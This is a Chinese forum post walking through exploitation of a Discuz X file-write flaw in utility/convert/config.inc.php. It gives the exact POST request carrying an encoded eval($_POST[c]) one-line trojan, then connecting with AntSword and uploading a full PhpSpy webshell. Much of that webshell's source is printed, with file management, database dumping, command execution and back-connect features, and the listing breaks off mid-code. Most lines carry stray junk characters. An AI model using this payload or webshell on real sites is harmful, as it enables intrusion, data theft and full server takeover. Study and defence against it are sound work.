找回密码
 立即注册
搜索
查看: 7753|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

989

主题

92

回帖

5万

积分

管理员

积分
55362
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:7 z: @# {: m+ L6 i  j( X% {( k7 F
想要拿下一台主机A的权限:
8 s  l! P9 N( I; U3 t1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞! L$ l( [, K5 }7 P5 a
2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
2 O; e' H! R) P3、传上去后,得到apache用户普通权限,再提权成root
. I) g& k4 B, |$ j) B- }) [概述:# L2 x; j  B) S4 U3 f- f) t$ }
这突破在一个DZ X系列自带的转换工具里面。( L" |* v- B3 J# R+ ]) n
漏洞路径:utility / convert / data / config.inc.php2 A, U, U4 z+ L" o/ Z* W6 W
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。
$ P* }9 L5 H' m1 \3 m2 c) P触发突破过程:. o; `1 c4 w  }# l& I
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  ( V% ^4 e+ |$ a6 p" o
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
; ]8 k; N9 Q. ]. p* x" F9 F# j$ M% W攻击过程:" G/ p: y, Z5 E
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
* @( ^5 z1 ]- `: f2 I6 c* \: E! W& K* c: M! ~
  J; w0 ?- o( q" p
2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马
3 d7 X; M* |, P% B! t/ I# Y5 V& e2 R$ ^( g0 d
8、通过中国蚁剑上传大码
  D$ _4 A) ~, [) d* X# d% d( Y+ V0 l$ s" E! ]9 E. D' _

2 o( J# T. B! L# f- N10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php
    ! i5 F, ^  _# P% v' {
  2. " f. ?8 r# ]) d8 a" d4 u5 B. f' h
  3. /*****************************************************************************/ l$ U3 L$ G  U4 }& u& G4 }
  4. 1 Z$ C" y, s2 D  {+ k
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================
    3 E4 B5 w+ c: s2 [2 U- B

  6. 7 ^. y3 E( l; A" ?& E/ f( S
  7. ====! D' c& B8 K5 H7 d( h" B- n7 m' D

  8. 9 b. {- d# B9 h9 _5 b& `
  9. + Q, [5 Y1 u5 h" s* X+ D' X, f
  10. *****************************************************************************/
    : R5 l1 K8 T) H" y; T8 G  Y

  11. " u; J8 t, o7 r: s
  12. error_reporting(7);
    - ?  Y: B7 r6 J( Y) J# h% I2 L' F
  13. @set_magic_quotes_runtime(0);
    1 g) k' d  i* L
  14. ob_start();
    7 E2 i4 I6 h) d; F8 n7 I, z% D. l) |
  15. $mtime = explode(' ', microtime());/ a0 h/ W! }$ @. z
  16. $starttime = $mtime[1] + $mtime[0];4 D+ F  c9 `* e8 c' Y2 ]
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
    % q& S" C4 C8 u* B: T! F
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );- O7 a" r9 V; j: m
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');! }4 }8 o( @' w) Y+ a) p
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    ! c1 K9 _- c; _6 E% y. M
  21. define('IS_GPC', get_magic_quotes_gpc());) Y+ ?* b( c' r  P
  22. $dis_func = get_cfg_var('disable_functions');/ S* u1 q" U0 |& u) K* ~( L
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    1 `; b2 h5 z! s: l$ q
  24. @set_time_limit(0);
    1 e- J% ~% g5 F: L6 N
  25. 1 {# j. C( d% g% O. L) G
  26. foreach(array('_GET','_POST') as $_request) {
    # A& f' v- R& |. X" ]+ b
  27.         foreach($$_request as $_key => $_value) {
    ! ]  p' J" V! D7 T. a6 Z: a
  28.                 if ($_key{0} != '_') {
    ( |% b2 B% Y6 @/ k
  29.                         if (IS_GPC) {* D( W+ ^" j3 o- j$ M, E( h5 q
  30.                                 $_value = s_array($_value);
    ( g$ [, Z4 v/ F0 i- D7 t4 t( J. K7 D
  31.                         }7 W+ i/ A/ x) ?4 G  k3 l
  32.                         $$_key = $_value;& v9 h( m; ^9 x! H" `
  33.                 }
    9 w4 S' U0 ~( |, j8 H! X7 n* s
  34.         }" u& a* f" `5 u' b6 e3 P) }# q
  35. }
    . o2 J" y. R4 ?# O; _2 m

  36. 2 Y# Z. c5 |5 B1 z: ?  A1 z
  37. /*===================== 程序配置 =====================*/; U: B% f, ~- b5 A
  38. $admin = array();: X( B' c  J  I& e* o, h
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    6 d3 G4 @( L9 r% b" ]
  40. $admin['check'] = true;* l' ]+ H4 Q& }7 }% Q
  41. // 如果需要密码验证,请修改登陆密码
    2 b/ R; z* W% y9 T  a$ _  G
  42. $admin['pass']  = 'xuegod';
    * d! G& V# b. L& P5 U8 N8 O

  43. - \1 A2 \; {, Q' F
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认1 y! V6 n( H+ O% ]
  45. // cookie 前缀$ ~7 h: ^0 @6 Z, c. z$ V( p; ?
  46. $admin['cookiepre'] = '';" p9 K  c  ~7 N
  47. // cookie 作用域* Y/ T, L4 [- W/ t4 Q6 f0 Z) I
  48. $admin['cookiedomain'] = '';
    2 H+ ~  v6 v& P& ]- ^5 S
  49. // cookie 作用路径
    / L9 }+ H( u$ H* j5 U
  50. $admin['cookiepath'] = '/';
    + g$ E# n  S8 o  r8 v9 N" t
  51. // cookie 有效期
      M+ s- y. c; w& @( H* M' K
  52. $admin['cookielife'] = 86400;
    $ o6 u8 [, w. P) S
  53. /*===================== 配置结束 =====================*/4 R4 }/ i' n# `$ a, J5 C  ?5 S. V' V

  54. 0 E3 U5 j  Z1 f: ]0 ]- G
  55. if ($charset == 'utf8') {
    + j1 S1 P: @" b, x
  56.         header("content-Type: text/html; charset=utf-8");! K0 c* U6 H$ F- @9 u
  57. } elseif ($charset == 'big5') {
    % `+ |7 |5 y' [3 L$ U2 E
  58.         header("content-Type: text/html; charset=big5");, N' G! U( m3 U. `$ e
  59. } elseif ($charset == 'gbk') {3 A" A$ H% d6 O* k3 a
  60.         header("content-Type: text/html; charset=gbk");
    1 e6 V; i/ E. \5 J1 j  X; D0 o
  61. } elseif ($charset == 'latin1') {
    ( ^+ F2 n/ b& H3 E5 |
  62.         header("content-Type: text/html; charset=iso-8859-2");
      v5 a/ g4 N. j" m1 P' G5 a
  63. }3 _) H# t- s! \; E# l1 F, r0 ^
  64. 8 \- g+ Z9 @* n; C6 e) a
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];* @" y8 s9 {9 ]- J, d2 p+ I+ U' `
  66. $timestamp = time();
    ' p) \5 i4 M2 J
  67. 9 O0 [' O% J  ~, Z$ Z  E  x0 `
  68. /*===================== 身份验证 =====================*/
    9 P8 `  B! J+ B# |+ ]0 j
  69. if ($action == "logout") {% Z, W/ B1 K3 e0 j! R2 L
  70.         scookie('phpspypass', '', -86400 * 365);
    2 @# H6 I" }/ X+ F, o; o1 r' I
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    9 W- N  W2 ?' Z' M1 d' Z
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    ( O) A9 t' }6 i
  73.         exit;
    ) [% |. f( v- o9 k5 v  l/ ?' M
  74. }: m& a  z4 U% s; \( q, ^- ~9 O
  75. if($admin['check']) {, G0 X5 _' q% @$ X! x* Q: @! B
  76.         if ($doing == 'login') {
    - W$ g4 j) |2 X0 ^5 q
  77.                 if ($admin['pass'] == $password) {. h' P3 F- f6 k9 q/ o0 J; u5 F
  78.                         scookie('phpspypass', $password);/ S, ~' J% `( ?! ?/ y" k; |
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');* U8 x/ t  J6 J
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');8 x( T& q8 R, \* ^% z  E
  81.                         exit;
    3 I9 {8 y5 N( _& A; Y0 {
  82.                 }
    3 }) m4 G+ o0 D1 Q5 \& f
  83.         }
    & Q/ W! t5 U  ]9 [$ ~/ {4 ^1 d
  84.         if ($_COOKIE['phpspypass']) {0 u4 b: B( q" v- Y
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {  H! ]  i0 E# S" U
  86.                         loginpage();4 h4 g0 T* I6 i1 V; E0 f7 X
  87.                 }( D6 u8 ~) l/ y1 w; r
  88.         } else {
    3 L1 j. z7 E& h- |9 Z" t
  89.                 loginpage();
    + I' ?- x  f( |; d- i& ]+ G; X
  90.         }* A8 P# U: Q6 R, G9 Z
  91. }& Z1 M: v+ G# ~4 P8 I
  92. /*===================== 验证结束 =====================*/
    ! U! y1 \& m9 w0 s
  93. $ A# {' a. W5 I. ]+ i% _. p9 w
  94. $errmsg = '';& g. P, c* h6 Q! v9 R4 l& ^! E

  95. ; K1 k) P6 J; O5 D. G! W
  96. // 查看PHPINFO
    3 Q3 X" U  P$ D- o7 H! [- O# h6 K; M
  97. if ($action == 'phpinfo') {2 A8 _( B" X2 `2 s
  98.         if (IS_PHPINFO) {+ C5 K' N5 W  ~/ z* O9 W' \
  99.                 phpinfo();- C: C) e' q' M$ ]! P
  100.         } else {- g3 L& c& j5 @- d- |+ v
  101.                 $errmsg = 'phpinfo() function has non-permissible';
    5 E3 \' D* c) e, f
  102.         }
    % G, h+ p% I' A. v. \
  103. }% Q1 o( Q6 O* [0 J' m+ j% a0 m+ d

  104. 5 L+ `1 }4 Y# `9 g" r6 `! F
  105. // 下载文件3 |3 |5 V, L0 s7 c! L
  106. if ($doing == 'downfile' && $thefile) {7 N" Z) c& K. s) t3 t0 J! }
  107.         if (!@file_exists($thefile)) {' n5 n% b' H; Q* b
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';
      E2 r8 H0 b  V8 b  x! I, V
  109.         } else {
      g3 U* M  k" Z, w
  110.                 $fileinfo = pathinfo($thefile);
    % k4 a3 U' r, B& B3 [5 f, t
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);
    . \- }3 }% \5 E
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    * _6 I! D( z/ t
  113.                 header('Content-Length: '.filesize($thefile));5 {& d7 k6 R+ H( f5 p7 ^
  114.                 @readfile($thefile);
    # p$ d2 t( w  `+ m  F+ P# f2 S& u
  115.                 exit;/ R' |9 X4 o: p4 Z) l" z+ s. W
  116.         }
    + S& g0 J* g, t: X8 W' y
  117. }
    9 o# O2 C0 u/ [

  118. ' P$ X. b  C' L, M
  119. // 直接下载备份数据库1 A, ?4 Y( |2 X( r% C5 G( B
  120. if ($doing == 'backupmysql' && !$saveasfile) {
    & O$ e$ u4 l4 ?# p
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);4 Z. e; d& x' w( o9 Q3 J7 n- E
  122.         $table = array_flip($table);( L6 \4 H+ x: m7 F1 q6 W; D
  123.         $result = q("SHOW tables");) ?# c1 Q! f: D6 v
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');9 a, C- x0 h9 m. C6 ^
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
    & b/ F5 Q7 V! @, q( {
  126.         header('Content-type: application/unknown');
    , m8 m7 x9 G% G) V
  127.         header('Content-Disposition: attachment; filename='.$filename);' O: G: [# P" b% L) S# e& h
  128.         $mysqldata = '';3 a: F0 t- y- H6 W. `7 f" W
  129.         while ($currow = mysql_fetch_array($result)) {: @6 t( @& V1 |7 w4 K
  130.                 if (isset($table[$currow[0]])) {6 `* V5 u1 {6 l- _5 q! M
  131.                         $mysqldata .= sqldumptable($currow[0]);  x- ^1 o3 e6 m0 t; s- Z
  132.                 }3 I  }6 e) X, K, ]
  133.         }
    5 [; L2 K% U7 t
  134.         mysql_close();
    % Z' C( J- B9 B: }
  135.         exit;
    ) g) {2 f1 M8 J: z$ [# C5 h4 m
  136. }6 o$ R4 }/ s+ g7 j
  137. / ]: X) M: v- @) ]( N
  138. // 通过MYSQL下载文件
    7 N! e! ~. B6 J/ J; B" S
  139. if($doing=='mysqldown'){
    : z' e5 U& y$ j3 \( R  Q7 V0 F
  140.         if (!$dbname) {! D+ `( j, Y" h. x0 u3 k4 Z
  141.                 $errmsg = 'Please input dbname';
    # H! i4 i; ~4 s' L- t. D7 p
  142.         } else {
    / Q. i& i% e; j  V# N- b+ e
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    * t5 i" W3 z; f1 [( a* ?5 n6 v4 k- E
  144.                 if (!file_exists($mysqldlfile)) {
    " Q# ~& O+ S/ H
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';5 Q9 h, J+ z8 ]2 Q( p/ D
  146.                 } else {
    " n+ D7 d4 x4 T- R" F, E1 X0 ~
  147.                         $result = q("select load_file('$mysqldlfile');");
    - K7 U; e. ?/ E6 T6 j0 S
  148.                         if(!$result){9 G. f5 b# j# p8 l, d
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");6 o3 k) t7 ^% q: }' o
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");& q) P  N; x% _1 h1 P0 U! W
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况9 T! X% \4 l1 j
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");5 x3 O# x3 ^$ }" R+ X
  153.                                 $result = q("select content from tmp_angel");% l% a( a3 U! P, F# S" D
  154.                                 q("DROP TABLE tmp_angel");
    % B) `, X1 E( x" E& r8 a% r
  155.                         }
    5 D) g9 H! _+ o# o; m( r( T+ }
  156.                         $row = @mysql_fetch_array($result);
    7 `  B+ \4 `( U# G
  157.                         if (!$row) {
    % Z# a! @( g# Q% r( Y
  158.                                 $errmsg = 'Load file failed '.mysql_error();4 r+ g) p0 b. j
  159.                         } else {. X7 T% T+ Q0 C$ n7 D# ?
  160.                                 $fileinfo = pathinfo($mysqldlfile);
    * t6 B$ A* A6 ~- {/ i6 o) L" ~
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);
    , h' G, z1 J* r! Y
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    % {, L  v5 R; `
  163.                                 header("Accept-Length: ".strlen($row[0]));
    ( w2 O% s& \* Q8 `9 Q2 j/ {
  164.                                 echo $row[0];/ \3 o( C( R& [- V
  165.                                 exit;7 a. S; h: e- K, }
  166.                         }
    . n# {5 S* _8 |1 d. B
  167.                 }& A) H+ K$ A( c8 E
  168.         }" t0 H/ }- u6 Q- m) U! q1 y1 i* i
  169. }
    9 K! f/ s" q* i
  170. 8 Z9 Z7 T4 W" c8 I! |
  171. ?>$ U" J/ R6 G9 L. [
  172. <html>" p) V# A: ~6 R' E! h5 h
  173. <head>4 `9 L3 |, S7 x5 g" D) j: Z
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">6 i) {' t' E" w& w2 t5 w  L1 x
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>( n0 Q; M$ Q- \3 v* o. F/ N% T
  176. <style type="text/css">9 y5 F9 L5 g6 ^/ w; G
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}
    ' b, O7 o. v+ Z) X4 E  G
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
    - b  J6 H4 p% Y, k
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
    * e- A1 N7 Y' @4 j  |1 R( _5 D
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}' c6 b" b8 O0 o1 F" z
  181. a {color: #00f;text-decoration:underline;}5 m$ ]4 C# `7 t0 r5 w2 H. V
  182. a:hover{color: #f00;text-decoration:none;}4 T/ q. D; N% V$ q. r- d
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}! w: f/ r2 M2 a
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}9 }  j  n6 |* A/ Y+ q
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
    6 s$ }1 n* w& d! m) o9 d! c
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
    + K8 ~- D0 A  {
  187. .head td span{font-weight:normal;}) Z8 p  h  f' o7 G. `2 b: L5 u3 _
  188. form{margin:0;padding:0;}5 D3 _* r! G' t" D
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}6 z3 o1 j  p4 D
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
    2 @7 {0 B% q4 ]( f+ G# h
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}: |+ t/ f7 q1 Z) B' t! o! b
  192. </style>. e" Z# n$ p0 ^. f9 u! v6 ?+ `
  193. <script type="text/javascript">7 x; W, `; k8 ~8 P4 j8 D" r
  194. function CheckAll(form) {2 L8 t+ z1 f# D
  195.         for(var i=0;i<form.elements.length;i++) {
    $ b5 r8 M9 ?4 _1 S* f9 M' E
  196.                 var e = form.elements[i];
    / l1 s' d+ I* l8 W8 o. I7 ~6 p
  197.                 if (e.name != 'chkall')# L9 T& Y' Z, i9 R- U' b
  198.                 e.checked = form.chkall.checked;
    * M  m6 i% ]) h3 ]
  199.     }4 ^. p# R/ S+ ?. H0 b
  200. }& @1 ?) b: F9 r; x. n& K( D
  201. function $(id) {
    2 h7 D! ^0 b3 {6 C
  202.         return document.getElementById(id);% P6 O! A$ j: G, j4 i- Z
  203. }; E  m1 ]$ U8 T6 D; E
  204. function goaction(act){
    , r# Y0 G- q% n8 }4 @
  205.         $('goaction').action.value=act;3 ^! `' ]3 `/ V; `$ S
  206.         $('goaction').submit();
    ; q2 B/ u& ~  h7 f8 M
  207. }/ k7 g! N! I; ]$ s0 M* n
  208. </script># v/ i3 E5 G9 z( R
  209. </head>
    : i' m; _' J0 g: N% q4 h
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">
    5 w5 k5 o& p2 ~) J" c
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">
    3 p4 J6 D0 K- u! E- o
  212.         <tr class="head">3 [& Z5 r% ]5 w# r. w3 z
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
    " z' _/ L2 f& R& P4 e1 f* s
  214.         </tr>* G" m2 }  n) t
  215.         <tr class="alt1">  F6 \' ^! ~; ?: ]
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>, Y) i7 A$ m6 b4 B% ]
  217.                         <a href="javascript:goaction('logout');">Logout</a> |
    & A0 q& Q* g6 y' s5 E* |/ X
  218.                         <a href="javascript:goaction('file');">File Manager</a> | ; K) g/ M# Y" ~) S8 p
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
    9 q4 K- |) F4 k& Z7 B  l
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | ( ?: R2 A% Q+ y+ m: M2 v# ]6 l" Q7 T
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> | * i8 j: J+ R. S$ d' ]% x% ^
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> | - o$ e% k) |6 O$ M% Y7 X
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>7 s  Z' W# s) R4 V
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    ) v7 M* w- R" S& L& ^
  225.                 </td>
    , P: Z- d/ f1 K5 K5 `; ~
  226.         </tr>* f' r# H$ P, z
  227. </table>/ |' g& e1 h+ D- A
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>4 p% b9 q( O3 |) o& s% S
  229. <?php: ]  T" l, K4 f' T
  230. % f6 C1 p; g; ~5 {) }, U% F
  231. formhead(array('name'=>'goaction'));* F' u. L, Y2 k8 Y3 v. R
  232. makehide('action');
    % d% Z7 |& k& a- u
  233. formfoot();9 O* g) G' b7 G7 g/ E$ W6 E5 i- [

  234. : s; b. {: X. j2 y
  235. $errmsg && m($errmsg);3 j# P" E/ r5 D4 d2 t# y" h3 u8 R
  236. & B( v9 [" B- `* n2 Z
  237. // 获取当前路径$ B5 b( |# d  t6 u, m5 }
  238. !$dir && $dir = '.';( z, M. l) Q3 z' ^
  239. $nowpath = getPath(SA_ROOT, $dir);
    " p" w1 g# n! h( w# B9 G
  240. if (substr($dir, -1) != '/') {/ p1 o2 c) h  l3 ~
  241.         $dir = $dir.'/';
    9 R2 X% r" i8 d' x
  242. }7 q; B/ Z- @7 q9 D
  243. $uedir = ue($dir);9 \3 J: \' }% s( D
  244. 2 h* ^) E' E* |5 c' k
  245. if (!$action || $action == 'file') {) H6 q% P- O: D& n5 y* b. J0 ~. B# P
  246. # X$ ~# a! z; e3 z7 Y: ?
  247.         // 判断读写情况  \3 u$ e6 J9 V3 S! C. q# D
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
    9 T% g, e2 k9 m% c6 p- [, }

  249. + v/ B" G" t. x3 j4 l
  250.         // 删除目录
    - ?  w3 a5 c2 r& I7 G
  251.         if ($doing == 'deldir' && $thefile) {
    1 x1 |) D: ?4 H
  252.                 if (!file_exists($thefile)) {
    3 \, l, ~, F  ^6 S1 q% B
  253.                         m($thefile.' directory does not exist');1 |: {5 c1 L  m  l6 @4 `
  254.                 } else {! i, k, O0 [3 N2 j2 {5 k  G
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
    " F# K9 W5 F: g0 n. E
  256.                 }
    5 j) I* X  _8 m) L
  257.         }  [! _$ L) r. m- d" X( P' q

  258. - W3 O$ D0 ~3 s- `0 V. ^8 l* e
  259.         // 创建目录
    - ]: C( J) S0 m$ @$ Y) E0 V
  260.         elseif ($newdirname) {2 @7 }+ K3 _+ F, E' s0 Z
  261.                 $mkdirs = $nowpath.$newdirname;
      I: b0 D* a/ m8 x
  262.                 if (file_exists($mkdirs)) {2 S' ?# {- P4 t  I1 [0 u
  263.                         m('Directory has already existed');* T2 s- F, {& K8 j8 L8 T
  264.                 } else {" L  I* v% ]' B4 |" Q- G" D6 H
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
    # d$ q4 K2 T0 N! r( y% g1 K
  266.                         @chmod($mkdirs,0777);
      @$ Y; t) D5 n8 A. E# j: \4 R
  267.                 }
    , c9 p  X6 \- n* C: O  G
  268.         }
    : n7 b! l- i9 X& F# \! k; y3 \
  269. & z% Y: p- i- P
  270.         // 上传文件  w; G9 o* C' Z
  271.         elseif ($doupfile) {3 y+ @) o& g0 z6 i
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));) c- b& R0 s, n2 c$ l0 W. K
  273.         }
    * `& Y2 F% |) l7 n% K5 s

  274. " G6 H9 k' Z, [/ }) ~/ }& j- L
  275.         // 编辑文件$ s( `) d- M& j! `, U
  276.         elseif ($editfilename && $filecontent) {
    : ]) u$ H5 y4 `8 J
  277.                 $fp = @fopen($editfilename,'w');
    1 ^! p9 s! {/ r
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
    2 _' W/ \( j7 M, y& z
  279.                 @fclose($fp);, U1 J6 Z6 V/ L# ?) H
  280.         }
    5 ~- C( E# r2 Z9 k

  281. $ Y6 v2 p' p+ U' C4 O" a! h
  282.         // 编辑文件属性5 Q- ]3 U: P0 y" Q+ e/ P; I
  283.         elseif ($pfile && $newperm) {4 m+ O  v7 C0 n( k3 \- z
  284.                 if (!file_exists($pfile)) {7 F* O. z+ ?" g& M3 ]
  285.                         m('The original file does not exist');" x, x4 V' l8 g+ M: p% {
  286.                 } else {" q/ o& t) C$ e# \) x
  287.                         $newperm = base_convert($newperm,8,10);: N2 s& d  Y7 ^# F" _/ L# b
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));! g9 o4 ^+ {: q! E7 |/ t
  289.                 }
    ; J0 J. a+ V9 I
  290.         }
    3 a# E1 b& X4 i; ^
  291. # h, B3 b; [' C7 O+ X0 v
  292.         // 改名
    / J# `6 @% [% E! \
  293.         elseif ($oldname && $newfilename) {" D) m& u9 `# o# E! k
  294.                 $nname = $nowpath.$newfilename;
    ' A. e. e$ W5 }5 G- O7 [) q
  295.                 if (file_exists($nname) || !file_exists($oldname)) {
    ' g0 Q2 Q0 n6 k9 T, H
  296.                         m($nname.' has already existed or original file does not exist');
      C; L, |/ z$ P+ a  z# O3 m2 x
  297.                 } else {
    6 {/ P2 ^% V2 p" J4 G
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
    % _7 @, N1 X- t
  299.                 }/ w; J  x6 x) ?
  300.         }
    9 s# Y. x: o2 i

  301. ( H* {8 d4 o  L7 A
  302.         // 复制文件6 M; k# G! @% {. _
  303.         elseif ($sname && $tofile) {: S% P3 T! n6 y2 W
  304.                 if (file_exists($tofile) || !file_exists($sname)) {* \8 o8 _+ \7 e+ G, M
  305.                         m('The goal file has already existed or original file does not exist');
    1 q1 ?3 K! U$ H, B2 R
  306.                 } else {) s  j6 D* O; c4 t
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    , J0 I: `9 p& ]7 H$ L, J0 p% k
  308.                 }
    ( [% }, L: K! L5 s7 N* G2 L( j! C
  309.         }
    . D& h+ i5 F: K  J* \" T4 ~

  310. 6 Q) C; `% u: X7 b# x  B
  311.         // 克隆时间
    * @, S# g/ p$ b+ |# i
  312.         elseif ($curfile && $tarfile) {
    . f9 e4 D8 f- M2 t# t! ]! m
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
    6 p! j) W1 L2 \& k) {- e# ?6 E9 O4 t
  314.                         m('The goal file has already existed or original file does not exist');6 M9 R9 x4 i) P* V
  315.                 } else {
    ; ]/ K: G. L+ I9 s7 g
  316.                         $time = @filemtime($tarfile);
    7 ?, X7 g5 g$ J) t
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));5 r# P8 }3 U# ?9 Q
  318.                 }9 S( Q  v" I8 I9 M) v2 ?' P
  319.         }
    / q0 T; J/ j, R6 `( h

  320. . O4 p8 G+ b( l7 t2 Y9 {! u
  321.         // 自定义时间8 i4 ?9 q* Q6 z5 r) a0 N
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {, E# ?& b  w6 `" ^" W" O0 N
  323.                 if (!@file_exists($curfile)) {# N3 s9 u7 W. B5 K# q+ j. z4 D
  324.                         m(basename($curfile).' does not exist');
    ! |, @( O/ r2 i
  325.                 } else {( G$ z! j3 f, ?' L# z
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");4 ?3 C4 p/ |6 `- a! e
  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));* ~, O& M3 H# \+ S
  328.                 }
    # l8 B( F2 x. h# U/ }
  329.         }
    0 j6 d& W& g( S( R% B( u- D' L- z! f
  330. " }- B7 m8 v2 u% f# U2 }$ ]
  331.         // 打包下载% h+ i0 ^+ J# T! T3 a: w2 T
  332.         elseif($doing == 'downrar') {
